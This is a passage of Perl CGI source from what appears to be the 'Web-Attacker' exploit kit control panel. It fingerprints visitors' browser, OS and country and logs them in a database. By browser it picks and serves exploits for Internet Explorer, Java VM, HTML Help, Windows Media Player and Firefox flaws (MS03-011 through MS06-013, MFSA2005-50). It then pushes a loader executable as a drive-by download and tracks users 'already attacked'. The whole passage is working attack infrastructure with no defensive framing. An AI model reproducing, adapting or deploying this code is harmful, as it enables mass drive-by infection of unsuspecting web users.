\r\n";
}
else
{
print "This type of statistics is not accessible";
print "(Geo::IP or Geo::IPfree modules are not found on the server) \r\n";
}
print "\r\n";
print "
\r\n";
print "Incorrect password ! \r\n";
print "Your IP is: $UserIP \r\n";
print "Your Browser is: $UserBrowser \r\n";
print "Your Operation System is: $UserOS \r\n";
print "Current Date and Time: $CurrentTime \r\n";
print "
Please enter the password to access the statistics
\r\n";
print "Incorrect password ! \r\n";
print "Your IP is: $UserIP \r\n";
print "Your Browser is: $UserBrowser \r\n";
print "Your Operation System is: $UserOS \r\n";
print "Current Date and Time: $CurrentTime \r\n";
print "
Please enter the password to access the statistics
\r\n";
print "\r\n";
print "
\r\n";
print "\r\n";
}
}
elsif ($Action=~/exploit/)
{
$exp_type=substr($Action,8);
if ($exp_type=~/MS03\-11/) # ByteCode verifier exploit for MS Java Virtual Machine
{ $ID_attacked=1; }
elsif ($exp_type=~/MS04\-013/) # IE ms-its: and mk:@MSITStore: vulnerability
{ $ID_attacked=2; }
elsif ($exp_type=~/MS05\-001/) # IE vulnerability in HTML Help that allows Code Execution
{ $ID_attacked=3; }
elsif ($exp_type=~/MS06\-013/) # IE 6.0 SP2 "createTextRange" vulnerability
{ $ID_attacked=4; }
elsif ($exp_type=~/MFSA2005\-50/) # Firefox exploitable crash in InstallVersion.compareTo
{ $ID_attacked=5; }
elsif ($exp_type=~/MS06\-006/) # Windows Media Player plug-in vulnerability
{ $ID_attacked=6; }
else
{ $ID_attacked=0; }
if (($ID_attacked==5)||($ID_attacked==6))
{ $UserID=strcrc32("$UserIP$UserOS$mday$hour"); }
else
{ $UserID=strcrc32("$UserIP$UserAgent$mday$hour"); }
$AlreadyAttacked=1;
dbmopen %Uniques, "$DataBase", 0666;
if (exists $Uniques{$UserID})
{
$uID_stat=$Uniques{$UserID};
@StatFields=split(/\;/,$uID_stat);
if ($StatFields[3]==0)
{
$AlreadyAttacked=0;
$StatFields[3]=$ID_attacked;
}
$StatLine="";
foreach $item (@StatFields)
{
$StatLine=$StatLine."$item".';';
}
$Uniques{$UserID}=$StatLine;
}
dbmclose %Uniques;
if ($AlreadyAttacked==0)
{
if (-e $LoaderName)
{
$fsize = -s "$LoaderName";
open (F,"$LoaderName");
binmode F;
read(F,$Panzer,$fsize);
close (F);
print "Accept-Ranges: bytes\r\n";
print "Content-Length: $fsize\r\n";
print 'Content-Disposition: inline; filename=exefile.exe';
print "\r\n";
print "Content-Type: application/octet-stream\r\n\r\n";
binmode STDOUT;
print $Panzer;
}
else
{
print "Content-Type: text/html\r\n\r\n";
print "Err: can not open the DATA file\r\n";
}
}
else
{
print "Content-Type: text/html\r\n\r\n";
print "Err: this user is already attacked!\r\n";
}
}
elsif ($Action=~/homepage/)
{
if ($Geo_enabled == 1)
{
($country_id,$country_name) = $GeoIP->LookUp($UserIP);
}
elsif ($Geo_enabled == 2)
{
$country_id = $GeoIP->country_code_by_addr($UserIP);
$country_name = $GeoIP->country_name_by_addr($UserIP);
}
else
{ $country_name =' ';}
$ID_used=0;
dbmopen %Uniques, "$DataBase", 0666;
unless (exists $Uniques{$UserID})
{
$Uniques{$UserID}="$UserIP;$UserOS;$UserBrowser;0;$ServerTime;$country_name;";
}
else
{
$ID_used=1;
$uID_stat=$Uniques{$UserID};
@StatFields=split(/\;/,$uID_stat);
$DeltaTime=$ServerTime-$StatFields[4];
if ($DeltaTime > $BAN_Time)
{
$ID_used=0;
$Uniques{$UserID}="$UserIP;$UserOS;$UserBrowser;0;$ServerTime;$country_name;";
}
}
dbmclose %Uniques;
if ($ID_used==0)
{
print redirect("http://$ServerName$SubFolder/demo.php");
}
else
{
print "Content-Type: text/html\r\n\r\n";
print "";
}
}
elsif ($Action=~/bug=/)
{
$exp_type=substr($Action,4);
$ID_used=0;
dbmopen %Uniques, "$DataBase", 0666;
if (exists $Uniques{$UserID})
{
$ID_used=1;
}
dbmclose %Uniques;
if ($ID_used==1)
{
if ($UserBrowser=~/MSIE/)
{
if ($exp_type=~/MS03\-11/)
{
print "Content-Type: text/html\r\n\r\n";
print "\r\n";
print "\r\n";
print "\r\n";
}
elsif ($exp_type=~/MS04\-013/)
{
print "Content-Type: text/html\r\n\r\n";
print "\r\n\r\n\r\n\r\n\\r\n";
}
elsif ($exp_type=~/MS05\-001/)
{
if (-e $Exp_MS05001)
{
$fsize = -s "$Exp_MS05001";
open (F,"$Exp_MS05001");
@Text_Lines=;
foreach $Text_Line (@Text_Lines)
{
if ($Text_Line=~/HTA_URL=/)
{
$Text_Line="HTA_URL=\"http://$ServerName$SubFolder\";\r\n";
}
}
close (F);
print "Content-Type: text/html\r\n\r\n";
print @Text_Lines;
}
else
{
print "Content-Type: text/html\r\n\r\n";
print "Err: can not open the DATA file\r\n";
}
}
elsif ($exp_type=~/MS06\-013/)
{
if (-e $Exp_MS06013)
{
$fsize = -s "$Exp_MS06013";
open (F,"$Exp_MS06013");
binmode F;
read(F,$Panzer,$fsize);
close (F);
print "Content-Type: text/html\r\n\r\n";
binmode STDOUT;
print $Panzer;
}
else
{
print "Content-Type: text/html\r\n\r\n";
print "Err: can not open the DATA file\r\n";
}
}
else
{
print "Content-Type: text/html\r\n\r\n";
print "";
}
}
elsif ($UserBrowser=~/Firefox/)
{
if ($exp_type=~/MFSA2005\-50/)
{
if (-e $Exp_MFSA200550)
{
$fsize = -s "$Exp_MFSA200550";
open (F,"$Exp_MFSA200550");
binmode F;
read(F,$Panzer,$fsize);
close (F);
print "Content-Type: text/html\r\n\r\n";
binmode STDOUT;
print $Panzer;
}
else
{
print "Content-Type: text/html\r\n\r\n";
print "Err: can not open the DATA file\r\n";
}
}
elsif ($exp_type=~/MS06\-006/)
{
if (-e $Exp_MS06006)
{
$fsize = -s "$Exp_MS06006";
open (F,"$Exp_MS06006");
binmode F;
read(F,$Panzer,$fsize);
close (F);
print "Content-Type: text/html\r\n\r\n";
binmode STDOUT;
print $Panzer;
}
else
{
print "Content-Type: text/html\r\n\r\n";
print "Err: can not open the DATA file\r\n";
}
}
else
{
print "Content-Type: text/html\r\n\r\n";
print "";
}
}
else
{
print "Content-Type: text/html\r\n\r\n";
print "";
}
}
else
{
print "Content-Type: text/html\r\n\r\n";
print "";
}
}
else
{
print "Content-Type: text/html\r\n\r\n";
print "Web-Attacker Control panel\r\n";
print "\r\n";
print "
\r\n";
print "Your IP is: $UserIP \r\n";
print "Your Browser is: $UserBrowser \r\n";
print "Your Operation System is: $UserOS \r\n";
print "Current Date and Time: $CurrentTime \r\n";
print "
Please enter the password to access the statistics